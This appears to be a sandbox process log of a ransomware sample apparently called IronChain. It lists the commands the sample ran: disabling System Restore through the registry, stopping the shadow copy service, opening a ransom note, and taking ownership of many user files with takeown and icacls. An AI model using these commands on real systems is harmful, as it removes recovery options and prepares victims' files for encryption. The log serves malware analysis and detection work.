C:\Windows\system32\svchost.exesvchost.exe C:\Windows\system32\cmd.exe /c "reg add "HKEYOLOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableConfig /t REG_DWORD /d 1 /f"3⤵
-
-
C:\Windows\system32\svchost.exesvchost.exe C:\Windows\system32\cmd.exe /c "sc config swprv start= disabled"3⤵
-
-
C:\Windows\system32\svchost.exesvchost.exe C:\Windows\system32\cmd.exe /c "sc stop swprv"3⤵
-
-
C:\Windows\system32\mshta.exemshta.exe C:\Users\Admin\Desktop\IronChain.hta3⤵
-
-
C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\PLEASEREADTHIS.txt3⤵
- Opens file in notepad (likely ransom note)
-
-
C:\Windows\system32\svchost.exesvchost.exe C:\Windows\system32\cmd.exe /c "icacls "C:\Users\Admin\AppData\Local\Temp\IronChain.exe" /reset"3⤵
-
-
C:\Windows\system32\svchost.exesvchost.exe C:\Windows\system32\cmd.exe /c "icacls "C:\Users\Admin\AppData\Local\Temp\IronChain.exe" /inheritance:d"3⤵
-
-
C:\Windows\system32\svchost.exesvchost.exe C:\Windows\system32\cmd.exe /c "icacls "C:\Users\Admin\AppData\Local\Temp\IronChain.exe" /remove "Administrators""3⤵
-
-
C:\Windows\system32\svchost.exesvchost.exe C:\Windows\system32\cmd.exe /c "icacls "C:\Users\Admin\AppData\Local\Temp\IronChain.exe" /remove "Admin""3⤵
-
-
C:\Windows\system32\svchost.exesvchost.exe C:\Windows\system32\cmd.exe /c "icacls "C:\Users\Admin\AppData\Local\Temp\IronChain.exe" /remove "Authenticated Users""3⤵
-
-
C:\Windows\system32\svchost.exesvchost.exe C:\Windows\system32\cmd.exe /c "icacls "C:\Users\Admin\AppData\Local\Temp\IronChain.exe" /grant "Users:RX""3⤵
-
-
C:\Windows\system32\svchost.exesvchost.exe C:\Windows\system32\cmd.exe /c "icacls "C:\Users\Admin\AppData\Local\Temp\IronChain.exe" /inheritance:d"3⤵
-
-
C:\Windows\system32\svchost.exesvchost.exe C:\Windows\system32\cmd.exe /c "powershell -Command "(New-Object -COMObject Shell.Application).NameSpace(17).ParseName('E')).InvokeVerb('Eject')""3⤵
-
-
C:\Windows\system32\route.exeroute print 0.0.0.03⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Desktop\BlockConnect.docx3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Desktop\CloseImport.mht3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Desktop\CloseWrite.docx3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Desktop\CompleteDisable.tif3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Desktop\ConvertFromSave.ps13⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Desktop\ConvertToSync.mov3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Desktop\desktop.ini3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Desktop\DisconnectJoin.eprtx3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Desktop\DismountShow.sys3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Desktop\EditNew.ps13⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Desktop\EnablePublish.mov3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Desktop\ExitLock.tiff3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Desktop\GetRemove.rm3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Desktop\GroupFind.i643⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Desktop\InitializeSuspend.au33⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Desktop\LockGet.pcx3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Desktop\ProtectReceive.wmv3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Desktop\ResetPing.mpeg33⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Desktop\ResizeConnect.xlsx3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Desktop\ResolveConvertTo.tif3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Desktop\SearchTrace.xlsx3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Desktop\CloseImport.mht /grant Admin:F3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Desktop\SendImport.wdp3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Desktop\ShowInvoke.cmd3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Desktop\StopUnprotect.xlsx3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Desktop\ConvertToSync.mov /grant Admin:F3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Desktop\DisconnectJoin.eprtx /grant Admin:F3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Desktop\desktop.ini /grant Admin:F3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Desktop\CompleteDisable.tif /grant Admin:F3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Desktop\ConvertFromSave.ps1 /grant Admin:F3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Desktop\CloseWrite.docx /grant Admin:F3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Desktop\BlockConnect.docx /grant Admin:F3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Desktop\GroupFind.i64 /grant Admin:F3⤵
- Possible privilege escalation attempt
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Desktop\DismountShow.sys /grant Admin:F3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Desktop\EnablePublish.mov /grant Admin:F3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Desktop\EditNew.ps1 /grant Admin:F3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Desktop\ExitLock.tiff /grant Admin:F3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Desktop\GetRemove.rm /grant Admin:F3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Desktop\InitializeSuspend.au3 /grant Admin:F3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Desktop\LockGet.pcx /grant Admin:F3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Desktop\ResetPing.mpeg3 /grant Admin:F3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Desktop\ResizeConnect.xlsx /grant Admin:F3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Desktop\SendImport.wdp /grant Admin:F3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Desktop\ResolveConvertTo.tif /grant Admin:F3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Desktop\ShowInvoke.cmd /grant Admin:F3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Desktop\UpdateUnblock.odt3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Desktop\WriteClose.vssx3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Desktop\ProtectReceive.wmv /grant Admin:F3⤵
- Possible privilege escalation attempt
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Desktop\SearchTrace.xlsx /grant Admin:F3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Downloads\BlockGet.cfg3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Desktop\StopUnprotect.xlsx /grant Admin:F3⤵
- Modifies file permissions
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Downloads\ConvertFromHide.tiff3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Desktop\WriteClose.vssx /grant Admin:F3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Downloads\ConvertToClose.MOD3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Downloads\ConvertToRequest.wmv3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Downloads\CopyUpdate.iso3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Downloads\DebugUse.mpa3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Downloads\desktop.ini3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Downloads\DisconnectApprove.htm3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Downloads\DisconnectFormat.3gp3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Downloads\BlockGet.cfg /grant Admin:F3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Downloads\DisconnectApprove.htm /grant Admin:F3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Downloads\FindSync.xla3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Downloads\desktop.ini /grant Admin:F3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Downloads\CopyUpdate.iso /grant Admin:F3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Downloads\ConvertToClose.MOD /grant Admin:F3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Downloads\DebugUse.mpa /grant Admin:F3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Downloads\DisconnectFormat.3gp /grant Admin:F3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Downloads\GetLimit.bin3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Desktop\UpdateUnblock.odt /grant Admin:F3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Downloads\GetUnpublish.jpg3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Downloads\MeasureGet.mpe3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Downloads\ConvertToRequest.wmv /grant Admin:F3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Downloads\MeasureUpdate.search-ms3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Downloads\MountMeasure.ADTS3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Downloads\NewAdd.ps13⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Downloads\ConvertFromHide.tiff /grant Admin:F3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Downloads\FindSync.xla /grant Admin:F3⤵
- Possible privilege escalation attempt
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Downloads\NewSet.ppsx3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Downloads\OpenGet.wmx3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Downloads\OptimizeNew.rm3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Downloads\GetUnpublish.jpg /grant Admin:F3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Downloads\NewSet.ppsx /grant Admin:F3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Downloads\OptimizeSelect.bmp3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Downloads\OpenGet.wmx /grant Admin:F3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Downloads\GetLimit.bin /grant Admin:F3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Downloads\NewAdd.ps1 /grant Admin:F3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Downloads\MeasureUpdate.search-ms /grant Admin:F3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Downloads\PingMeasure.vsw3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Downloads\MountMeasure.ADTS /grant Admin:F3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Downloads\MeasureGet.mpe /grant Admin:F3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Downloads\PushRestart.jpeg3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Downloads\RestoreMove.ram3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Downloads\OptimizeNew.rm /grant Admin:F3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Downloads\RevokeReceive.mp4v3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Downloads\RestoreMove.ram /grant Admin:F3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Downloads\SearchEnable.rm3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Downloads\RevokeReceive.mp4v /grant Admin:F3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Downloads\PushRestart.jpeg /grant Admin:F3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Downloads\SearchEnable.rm /grant Admin:F3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Downloads\OptimizeSelect.bmp /grant Admin:F3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Downloads\StartBlock.vsd3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Downloads\PingMeasure.vsw /grant Admin:F3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Downloads\StepFind.mpeg33⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Downloads\UnblockRestart.dib3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Downloads\UndoInvoke.ttf3⤵
- Possible privilege escalation attempt
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Downloads\WaitFormat.m1v3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Downloads\StartBlock.vsd /grant Admin:F3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Downloads\WaitFormat.m1v /grant Admin:F3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Downloads\UndoInvoke.ttf /grant Admin:F3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Downloads\StepFind.mpeg3 /grant Admin:F3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Downloads\WriteUninstall.pub3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Downloads\UnblockRestart.dib /grant Admin:F3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Documents\AddPop.odp3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Documents\ConfirmAssert.dotx3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Documents\ConvertDeny.doc3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Documents\DebugUpdate.docx3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Downloads\WriteUninstall.pub /grant Admin:F3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Documents\desktop.ini3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Documents\AddPop.odp /grant Admin:F3⤵
- Modifies file permissions
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Documents\DisconnectConnect.pptx3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Documents\ConvertDeny.doc /grant Admin:F3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Documents\EditInitialize.xps3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Documents\GetReceive.vsx3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Documents\desktop.ini /grant Admin:F3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Documents\EditInitialize.xps /grant Admin:F3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Documents\HideOpen.ppt3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Documents\DebugUpdate.docx /grant Admin:F3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Documents\DisconnectConnect.pptx /grant Admin:F3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Documents\InitializeUnpublish.ods3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Documents\JoinRepair.vdw3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Documents\MeasureSubmit.potx3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Documents\NewMove.vssm3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Documents\ConfirmAssert.dotx /grant Admin:F3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Documents\ReceiveStart.vstm3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Documents\HideOpen.ppt /grant Admin:F3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Documents\RevokeFind.potx3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Documents\GetReceive.vsx /grant Admin:F3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Documents\RevokeOpen.rtf3⤵
- Possible privilege escalation attempt
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Documents\NewMove.vssm /grant Admin:F3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Documents\InitializeUnpublish.ods /grant Admin:F3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Documents\MeasureSubmit.potx /grant Admin:F3⤵
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Documents\JoinRepair.vdw /grant Admin:F3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Documents\RevokeFind.potx /grant Admin:F3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Documents\SearchEnable.docx3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Documents\ReceiveStart.vstm /grant Admin:F3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Documents\SetDeny.wps3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Documents\SearchEnable.docx /grant Admin:F3⤵
- Possible privilege escalation attempt
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Documents\SetDisable.xlsx3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Documents\SetDeny.wps /grant Admin:F3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Documents\ShowSend.xltm3⤵
- Possible privilege escalation attempt
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Documents\StartSync.docx3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Documents\ShowSend.xltm /grant Admin:F3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Documents\RevokeOpen.rtf /grant Admin:F3⤵
- Modifies file permissions
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Documents\StopBlock.xlsx3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Documents\SuspendShow.xlsb3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Documents\StartSync.docx /grant Admin:F3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Documents\SuspendWrite.xlt3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Documents\TraceExpand.xlsx3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Documents\UninstallSkip.ods3⤵
- Possible privilege escalation attempt
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Documents\SuspendShow.xlsb /grant Admin:F3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Documents\UseClear.pot3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Documents\WaitRestart.rtf3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Documents\WaitUndo.xlsm3⤵
- Possible privilege escalation attempt
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Documents\SetDisable.xlsx /grant Admin:F3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Documents\TraceExpand.xlsx /grant Admin:F3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Documents\UninstallSkip.ods /grant Admin:F3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Documents\WaitUndo.xlsm /grant Admin:F3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f "\\?\C:\Users\Admin\Documents\OneNote Notebooks\My Notebook\Open Notebook.onetoc2"3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Documents\UseClear.pot /grant Admin:F3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f "\\?\C:\Users\Admin\Documents\OneNote Notebooks\Quick Notes.one"3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f "\\?\C:\Users\Admin\Documents\Outlook Files\Outlook Data File - qkenbciswv.pst"3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Pictures\BackupSearch.ico3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Pictures\CheckpointReceive.dwg3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Documents\SuspendWrite.xlt /grant Admin:F3⤵
-
-
C:\Windows\system32\icacls.exeicacls "\\?\C:\Users\Admin\Documents\OneNote Notebooks\Quick Notes.one" /grant Admin:F3⤵
-
-
C:\Windows\system32\icacls.exeicacls "\\?\C:\Users\Admin\Documents\Outlook Files\Outlook Data File - qkenbciswv.pst" /grant Admin:F3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Pictures\CheckpointReceive.dwg /grant Admin:F3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Pictures\CompressRequest.png3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f "\\?\C:\Users\Admin\Documents\OneNote Notebooks\My Notebook\Quick Notes.one"3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Pictures\DebugResume.dib3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Pictures\CompressRequest.png /grant Admin:F3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Pictures\desktop.ini3⤵
-
-
C:\Windows\system32\icacls.exeicacls "\\?\C:\Users\Admin\Documents\OneNote Notebooks\My Notebook\Quick Notes.one" /grant Admin:F3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Pictures\GrantUnprotect.svgz3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Pictures\DebugResume.dib /grant Admin:F3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Pictures\BackupSearch.ico /grant Admin:F3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Documents\WaitRestart.rtf /grant Admin:F3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Pictures\InvokeCompare.dib3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Pictures\PushWrite.eps3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Pictures\GrantUnprotect.svgz /grant Admin:F3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Pictures\RedoAssert.emz3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Pictures\desktop.ini /grant Admin:F3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Documents\StopBlock.xlsx /grant Admin:F3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Pictures\PushWrite.eps /grant Admin:F3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Pictures\RedoEdit.emz3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Pictures\RegisterFormat.gif3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Pictures\RenameComplete.ico3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Pictures\RedoAssert.emz /grant Admin:F3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Pictures\RestoreConfirm.raw3⤵
-
-
C:\Windows\system32\icacls.exeicacls "\\?\C:\Users\Admin\Documents\OneNote Notebooks\My Notebook\Open Notebook.onetoc2" /grant Admin:F3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Pictures\RegisterFormat.gif /grant Admin:F3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Pictures\InvokeCompare.dib /grant Admin:F3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Pictures\SelectDebug.dxf3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Pictures\SetWait.wmf3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Pictures\SplitRedo.png3⤵
- Possible privilege escalation attempt
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Pictures\SelectDebug.dxf /grant Admin:F3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Pictures\SetWait.wmf /grant Admin:F3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Pictures\RenameComplete.ico /grant Admin:F3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Pictures\StepOptimize.emf3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Pictures\ResolveRestart.crw3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Pictures\SplitRedo.png /grant Admin:F3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Pictures\RedoEdit.emz /grant Admin:F3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Pictures\TestGroup.gif3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Pictures\StepOptimize.emf /grant Admin:F3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Pictures\ResolveRestart.crw /grant Admin:F3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Pictures\WaitRestart.emf3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Videos\desktop.ini3⤵
-
-
C:\Windows\system32\icacls.exeicacls \\?\C:\Users\Admin\Pictures\TestGroup.gif /grant Admin:F3⤵
-
-
C:\Windows\system32\takeown.exetakeown /f \\?\C:\Users\Admin\Music\CompleteRestart.vssm3⤵
-
-
